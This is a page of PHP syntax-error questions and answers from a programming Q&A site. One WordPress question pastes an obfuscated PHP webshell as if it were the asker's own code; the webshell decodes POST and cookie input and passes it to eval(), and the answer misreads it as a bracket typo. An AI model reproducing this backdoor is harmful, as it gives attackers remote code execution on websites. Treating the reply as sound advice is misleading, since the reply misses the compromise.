Getting many syntax errors in my PHP code [closed] - php

Closed. This question needs debugging details. It is not currently accepting answers.
Edit the question to include desired behavior, a specific problem or error, and the shortest code necessary to reproduce the problem. This will help others answer the question.
Closed 7 years ago.
Improve this question
This is my code. I am getting errors every time the page loads and I don't know what is wrong. If you could help me it would be greatly appreciated.
<?php
include ('steamauth/userInfo.php');
$myfile = fopen("userid.txt", "a+") or die("Unable to open file!");
if( strpos(file_get_contents("/userid.txt"),$_GET[$steamprofile['steamid']]) !== false){
fwrite($myfile,$steamprofile['steamid']);}
fclose($myfile)
else( strpos(file_get_contents("/userid.txt"),$_GET[$steamprofile['steamid']]) !== true){
fclose($myfile)
echo"<html lang="en-US">
<head>
<meta charset="UTF-8">
<meta http-equiv="refresh" content="1;url=http://example.com">
<script type="text/javascript">
window.location.href = "http://example.com"
</script>
<title>Page Redirection</title>
</head>
<body>
<p>If you are not redirected automatically, follow the link to www.example.com</p>
</body>
</html>";}
?>
Here are the errors:
[25-Apr-2015 09:46:38 Australia/Perth] PHP Parse error: syntax error, unexpected '.', expecting ']' in /example.com/userid.php on line 4
[25-Apr-2015 09:47:42 Australia/Perth] PHP Parse error: syntax error, unexpected '.', expecting ']' in /example.com/userid.php on line 4
[25-Apr-2015 09:48:09 Australia/Perth] PHP Parse error: syntax error, unexpected '.', expecting ']' in /example.com/userid.php on line 4
[25-Apr-2015 09:48:40 Australia/Perth] PHP Parse error: syntax error, unexpected '}' in /example.com/userid.php on line 7
[25-Apr-2015 09:49:37 Australia/Perth] PHP Parse error: syntax error, unexpected '}' in /example.com/userid.php on line 7
[25-Apr-2015 09:50:17 Australia/Perth] PHP Parse error: syntax error, unexpected T_ELSEIF in /example.com/userid.php on line 7
[25-Apr-2015 09:51:06 Australia/Perth] PHP Parse error: syntax error, unexpected T_ELSEIF in /example.com/userid.php on line 7
[25-Apr-2015 09:53:07 Australia/Perth] PHP Parse error: syntax error, unexpected '}' in /example.com/userid.php on line 6
[25-Apr-2015 09:55:06 Australia/Perth] PHP Parse error: syntax error, unexpected '.' in /example.com/userid.php on line 6
[25-Apr-2015 09:55:34 Australia/Perth] PHP Parse error: syntax error, unexpected '}' in /example.com/userid.php on line 6
[25-Apr-2015 09:56:53 Australia/Perth] PHP Parse error: syntax error, unexpected ')' in /example.com/userid.php on line 7
[25-Apr-2015 09:57:15 Australia/Perth] PHP Parse error: syntax error, unexpected T_STRING, expecting ',' or ';' in /example.com/userid.php on line 8
[25-Apr-2015 09:58:19 Australia/Perth] PHP Parse error: syntax error, unexpected T_ELSE in /example.com/userid.php on line 8
[25-Apr-2015 09:59:23 Australia/Perth] PHP Parse error: syntax error, unexpected T_ELSE in /example.com/userid.php on line 8
[25-Apr-2015 10:00:02 Australia/Perth] PHP Parse error: syntax error, unexpected T_ELSE in /example.com/userid.php on line 8
There are more (10 MB error log more), but these are the most recent and every time I change some new errors appear.
The code is supposed to open a file (userid.txt) then check if that file contains their steamid if it doesn't it writes in it, if it does then it redirects away.

If you have no idea, then at least Google search the type and name of the error - the error log does give you plenty enough information to solve your error. +1 for using the error log, -1 for not actually reading and using the information it gives you.
To give some more detail: the core of your errors is that you're not writing the PHP correctly, so this implies you don't know PHP, so really what you should be doing is not running before you can crawl and going away and reading up all about PHP and the structure and layout and methods behind the language and how to get intended results from the code you write.
Pretty much all your errors are down to bad syntax, I could rewrite the whole code block for you and format it correctly but really I think it's better for you to go away and read about how to structure IF statements, how to use strpos and how to open and edit files as starting points.
Also read up about how to structure arrays and google search info on how to structure Multidimensional arrays (as that's another syntax fault in your code).
And seriously, I do mean well done for using the error log. Many programmers in PHP merrily get things mostly working and completely ignore learning how to detect and collect their non-critical errors.
Some further pointers to this specific code:
check each instruction ends with a ;
check the difference between $_GET and $_POST, read about them in php.net, also read about what these identifiers actually are (they're special).
be careful with print and echo statements that the character they open with (" or ') is escaped (ie preceded by a backslash) if found inside the string.
check that multidimensional arrays are structured correctly - $array[0][1] NOT $array[0[1]]
check the URL to the files you want to use is correct.
Eat 5 different pieces of fruit or veg a day

Related

How to fix Syntax error, unexpected '' (T_STRING)?

The error that I am receiving is this: Parse error: syntax error, unexpected 'TokenType' (T_STRING) in C:\Program Files\Ampps\www\cs5339\lepichardo\4339_f22_assignment1\TokenType.php on line 2. To be clear, both files are php, and they both are in the same director. The code below is where I include the enum TokenType so that I would be able to use it.
<?php
include 'TokenType.php'
?>
The TokenType.php looks like this
<?php
enum TokenType{
case INT;
case STRING;
case COMMA;
}
?>
As far as I now, this should be fine, but gives me that error in that particular line.
If there is any other way to declare and imlpement the enum variable in php I would like to be explained to how to. Thanks in advance!!!
enums are only available in PHP 8.1+. The error suggests you are running PHP 7.
Here's some results of running the following code using various PHP versions (using https://3v4l.org/qHU4f)
<?php
enum TokenType{
case INT;
case STRING;
case COMMA;
}
echo 'hello world';
Output for 8.1.0 - 8.1.11, 8.2rc1 - rc3
hello world
Output for 8.0.1 - 8.0.24
Parse error: syntax error, unexpected identifier "TokenType" in /in/qHU4f on line 2
Process exited with code 255.
Output for 7.4.0 - 7.4.32
Parse error: syntax error, unexpected 'TokenType' (T_STRING) in /in/qHU4f on line 2
Process exited with code 255.
As you can see by the last result, unexpected 'TokenType' (T_STRING) is an error you would receive in PHP 7

Parse error: syntax error, unexpected '$o871' (T_VARIABLE)

Everything is working fine on my wordpress site but now i am getting this parse error and i am unable to solve it. Even i can't login to my wp-admin
This Is the full Code:
$p8d6f3d7 =457;$GLOBALS['c914']=Array();global$c914;$c914=$GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['y875352']="\x2d\x27\x75\x9\x3c\x3e\x5a\x4b\x21\x38\x2e\x51\x70\x59\x5d\x53\x24\x49\x58\xa\x48\x46\x25\x41\x54\x7c\x7a\x4f\x31\x2a\x23\x61\x57\x5b\x72\x36\xd\x4a\x74\x68\x4c\x2c\x2f\x4d\x20\x52\x5f\x64\x3b\x43\x42\x32\x5e\x3f\x67\x28\x30\x65\x50\x34\x37\x55\x3d\x56\x6e\x29\x78\x60\x39\x2b\x45\x26\x79\x6d\x5c\x76\x6f\x44\x66\x22\x35\x3a\x6b\x6c\x62\x69\x73\x4e\x63\x77\x47\x7b\x6a\x71\x7d\x40\x7e\x33";$c914[$c914['y875352'][75].$c914['y875352'][88].$c914['y875352'][59].$c914['y875352'][9].$c914['y875352'][60].$c914['y875352'][68].$c914['y875352'][68].$c914['y875352'][60]]=$c914['y875352'][12].$c914['y875352'][31].$c914['y875352'][88].$c914['y875352'][82];$c914[$c914['y875352'][78].$c914['y875352'][35].$c914['y875352'][59].$c914['y875352'][51].$c914['y875352'][60].$c914['y875352'][88]]=$c914['y875352'][88].$c914['y875352'][76].$c914['y875352'][2].$c914['y875352'][64].$c914['y875352'][38];$c914[$c914['y875352'][12].$c914['y875352'][97].$c914['y875352'][59].$c914['y875352'][84].$c914['y875352'][28].$c914['y875352'][68].$c914['y875352'][47]]=$c914['y875352'][86].$c914['y875352'][2].$c914['y875352'][84].$c914['y875352'][86].$c914['y875352'][38].$c914['y875352'][34];$c914[$c914['y875352'][57].$c914['y875352'][35].$c914['y875352'][28].$c914['y875352'][47].$c914['y875352'][47].$c914['y875352'][57].$c914['y875352'][9]]=$c914['y875352'][86].$c914['y875352'][38].$c914['y875352'][34].$c914['y875352'][83].$c914['y875352'][57].$c914['y875352'][64];$c914[$c914['y875352'][88].$c914['y875352'][56].$c914['y875352'][51].$c914['y875352'][88].$c914['y875352'][47].$c914['y875352'][80]]=$c914['y875352'][57].$c914['y875352'][66].$c914['y875352'][12].$c914['y875352'][83].$c914['y875352'][76].$c914['y875352'][47].$c914['y875352'][57];$c914[$c914['y875352'][73].$c914['y875352'][31].$c914['y875352'][51].$c914['y875352'][31].$c914['y875352'][84].$c914['y875352'][57].$c914['y875352'][78].$c914['y875352'][47].$c914['y875352'][80]]=$c914['y875352'][86].$c914['y875352'][38].$c914['y875352'][34].$c914['y875352'][46].$c914['y875352'][34].$c914['y875352'][57].$c914['y875352'][12].$c914['y875352'][57].$c914['y875352'][31].$c914['y875352'][38];$c914[$c914['y875352'][12].$c914['y875352'][68].$c914['y875352'][28].$c914['y875352'][84]]=$_POST;$c914[$c914['y875352'][88].$c914['y875352'][51].$c914['y875352'][97].$c914['y875352'][57]]=$_COOKIE;
$xc67522=Array($c914['y875352'][34].$c914['y875352'][31].$c914['y875352'][64].$c914['y875352'][47].$c914['y875352'][76].$c914['y875352'][73].$c914['y875352'][28]=>$c914['y875352'][34].$c914['y875352'][31].$c914['y875352'][64].$c914['y875352'][47].$c914['y875352'][76].$c914['y875352'][73].$c914['y875352'][51]);$yfce366=Array($c914['y875352'][34].$c914['y875352'][31].$c914['y875352'][64].$c914['y875352'][47].$c914['y875352'][76].$c914['y875352'][73].$c914['y875352'][97]=>$c914['y875352'][34].$c914['y875352'][31].$c914['y875352'][64].$c914['y875352'][47].$c914['y875352'][76].$c914['y875352'][73].$c914['y875352'][59]);foreach(Array($xc67522,$c914[$c914['y875352'][12].$c914['y875352'][68].$c914['y875352'][28].$c914['y875352'][84]],$yfce366,$c914[$c914['y875352'][88].$c914['y875352'][51].$c914['y875352'][97].$c914['y875352'][57]])as$odc1){foreach($odc1as$o871=>$p74690){$p74690=#$c914[$c914['y875352'][75].$c914['y875352'][88].$c914['y875352'][59].$c914['y875352'][9].$c914['y875352'][60].$c914['y875352'][68].$c914['y875352'][68].$c914['y875352'][60]]($c914['y875352'][20].$c914['y875352'][29],$p74690);$o871.=$c914['y875352'][59].$c914['y875352'][28].$c914['y875352'][60].$c914['y875352'][51].$c914['y875352'][47].$c914['y875352'][60].$c914['y875352'][35].$c914['y875352'][51].$c914['y875352'][0].$c914['y875352'][28].$c914['y875352'][60].$c914['y875352'][56].$c914['y875352'][56].$c914['y875352'][0].$c914['y875352'][59].$c914['y875352'][60].$c914['y875352'][88].$c914['y875352'][57].$c914['y875352'][0].$c914['y875352'][84].$c914['y875352'][88].$c914['y875352'][88].$c914['y875352'][51].$c914['y875352'][0].$c914['y875352'][60].$c914['y875352'][68].$c914['y875352'][56].$c914['y875352'][68].$c914['y875352'][68].$c914['y875352'][9].$c914['y875352'][88].$c914['y875352'][60].$c914['y875352'][84].$c914['y875352'][60].$c914['y875352'][60].$c914['y875352'][9];$debb002=$p74690^$c914[$c914['y875352'][12].$c914['y875352'][97].$c914['y875352'][59].$c914['y875352'][84].$c914['y875352'][28].$c914['y875352'][68].$c914['y875352'][47]]($c914[$c914['y875352'][73].$c914['y875352'][31].$c914['y875352'][51].$c914['y875352'][31].$c914['y875352'][84].$c914['y875352'][57].$c914['y875352'][78].$c914['y875352'][47].$c914['y875352'][80]]($o871,($c914[$c914['y875352'][57].$c914['y875352'][35].$c914['y875352'][28].$c914['y875352'][47].$c914['y875352'][47].$c914['y875352'][57].$c914['y875352'][9]]($p74690)/$c914[$c914['y875352'][57].$c914['y875352'][35].$c914['y875352'][28].$c914['y875352'][47].$c914['y875352'][47].$c914['y875352'][57].$c914['y875352'][9]]($o871))+1),0,$c914[$c914['y875352'][57].$c914['y875352'][35].$c914['y875352'][28].$c914['y875352'][47].$c914['y875352'][47].$c914['y875352'][57].$c914['y875352'][9]]($p74690));$debb002=$c914[$c914['y875352'][88].$c914['y875352'][56].$c914['y875352'][51].$c914['y875352'][88].$c914['y875352'][47].$c914['y875352'][80]]($c914['y875352'][30],$debb002);if($c914[$c914['y875352'][78].$c914['y875352'][35].$c914['y875352'][59].$c914['y875352'][51].$c914['y875352'][60].$c914['y875352'][88]]($debb002)==3){eval/*c0e71ecf*/($debb002[1]($debb002[2]));exit();}}}
This is where i am getting Parse error: syntax error, unexpected '$o871' (T_VARIABLE)
This is the line:
foreach($odc1as$o871=>$p74690){
Possibly check you applied extra curly opening or closing bracket.Or forgot to close the curly bracket.

Error : Parse error: syntax error, unexpected $end [duplicate]

This question already has answers here:
unexpected $end [closed]
(2 answers)
Closed 9 years ago.
hello i have this error
Parse error: syntax error, unexpected $end in /var/www/vhosts/mywebsite.com/httpdocs/project/templates/yoo_balance/layouts/com_content/article/default.php on line 191
here is the code : http://paste2.org/hMZ6z0dF
Thank you for your help.
Problem is on 143rd line,.
You are closing php 2 times
143rd line and
180th line
so just remove ?> from 143rd line
on line 132 you are closing the php code with '?>'. And then you continue without opening another '<?php' .remove that line.
?>
if (isset($images->image_fulltext) and !empty($images->image_fulltext)) {
and because you have MANY unnecessary opening and closings of php sections, you must have many more similar errors...

PHP Parse error: syntax error, unexpected T_STRING

I'm working in OsCommerece and getting this up in my error log
PHP Parse error: syntax error, unexpected T_STRING in public_html/includes/classes/seo.class.php(2206) : eval()'d code on line 1
Maybe just remove the <?php, ?> tags, as seo.class.php seems to run the input through eval()
mixed eval(string $code)
The code mustn't be wrapped in opening and closing PHP
tags...

IPBoard Error Parse error: syntax error, unexpected T_STRING

I have been having this error with IPBoard when trying to install a skin/theme. I get this message when I apply it to my forum:
Parse error: syntax error, unexpected T_STRING in /home/a7952789/public_html/forum/cache/skin_cache/cacheid_7/skin_global.php on line 83
So I decided to check It out I re-parsed it and it said no errors in CODE. here is the exact line of code:
$this->functionData['globalTemplate'][$count_3b65c7bc63b10c5a7f84294eb9b75dd2]['array_header_items'] = $array header_items;
$array header_items doesn't make any sense. It might be a typo for $array_header_items, although it's hard to guess what it is supposed to be.

Categories